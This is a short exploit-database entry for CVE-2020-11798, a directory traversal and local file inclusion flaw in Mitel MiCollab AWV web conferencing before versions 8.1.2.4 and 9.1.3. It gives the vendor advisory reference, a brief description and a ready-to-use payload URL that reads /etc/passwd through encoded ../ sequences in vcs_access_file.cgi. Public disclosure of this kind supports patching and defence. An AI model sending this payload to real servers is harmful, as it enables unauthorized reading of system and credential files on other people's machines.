Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal / Local File Inclusion Vulnerability

# Exploit Title: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal and LFI
# Fix Date: 2020-05
# Exploit Author: Kahvi-0
# Github: https://github.com/Kahvi-0
# Vendor Homepage: https://www.mitel.com/
# Vendor Security Advisory: https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0005
# Version: before 8.1.2.4 and 9.x before 9.1.3
# CVE: CVE-2020-11798
# CVE Reported By: Tri Bui



Description:

A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories

Payload:

https://[site]/awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd